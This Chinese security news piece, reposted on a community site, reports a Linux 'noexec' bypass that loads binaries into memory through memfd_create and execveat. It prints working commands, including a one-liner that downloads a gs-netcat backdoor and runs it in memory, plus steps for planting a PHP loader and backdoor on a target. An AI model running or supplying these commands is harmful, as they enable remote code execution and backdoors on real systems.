安全研究人员近日披露了一种全新的技术,攻击者可以利用该技术绕过Linux系统中的“noexec”标志,甚至在配置了此标志以防止执行恶意代码的分区上,也能执行恶意代码。
“noexec”标志是Linux中的一个关键安全措施,旨在防止在特定分区上执行二进制文件,如/tmp或/dev/shm。这一限制设计用于阻止攻击者上传并在这些常被攻击的区域执行恶意软件。然而,最新发现的方法巧妙地结合了Perl、Bash和PHP脚本,成功绕过了这一保护机制。
这一技术尤其令人担忧的是,它能够在启用了“noexec”的分区上执行直接从互联网下载的二进制文件。其原理是利用系统调用(如memfd_create和execveat)将shellcode注入到运行中的进程中,并从内存中加载二进制文件。而且,该方法不需要root权限,这使得更多潜在攻击者能够利用它。
研究人员通过演示展示了该技术的有效性,常见的命令如id在没有root权限的情况下也能在启用了“noexec”的分区上执行。更令人警惕的是,他们展示了攻击者如何利用这种方法,通过简单的命令从远程服务器下载并执行恶意代码。
一个Perl示例展示了如何在没有root权限的情况下执行id命令:
source memexec-perl.sh
cat /usr/bin/id | memexec -u
Bash中同样可以实现类似的操作:
source memexec-bash.sh
cat /usr/bin/id | memexec
对有经验的读者来说,这通常意味着可以将来自互联网的后门直接导入内存,即便在“noexec”分区上禁止执行:
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | GS_ARGS="-ilDq -s ChangeMe" perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV' -- "$@"
该方法通过类似的脚本有效绕过了PHP中的命令执行限制,这对于依赖此类限制来防范恶意代码的系统而言,构成了一个重大的安全漏洞。
Upload memexec.php and egg (your backdoor) onto the target
Call curl -SsfL https://target/memexec.php will execute egg
研究人员仍在继续分析这一技术及其对Linux系统安全的潜在影响,强调需要实施额外的安全防护措施,以防止这种方法在实际攻击中被利用。研究人员还建议应监控对系统调用的访问并限制其使用,特别是在安全需求较高的环境中。
文章来源:
https://securityonline.info/linux-systems-vulnerable-to-new-noexec-bypass-technique-arbitrary-code-execution-now-possible/
推荐阅读
安全KER
安全KER致力于搭建国内安全人才学习、工具、淘金、资讯一体化开放平台,推动数字安全社区文化的普及推广与人才生态的链接融合。目前,安全KER已整合全国数千位白帽资源,联合南京、北京、广州、深圳、长沙、上海、郑州等十余座城市,与ISC、XCon、看雪SDC、Hacking Group等数个中大型品牌达成合作。
注册安全KER社区
链接最新“圈子”动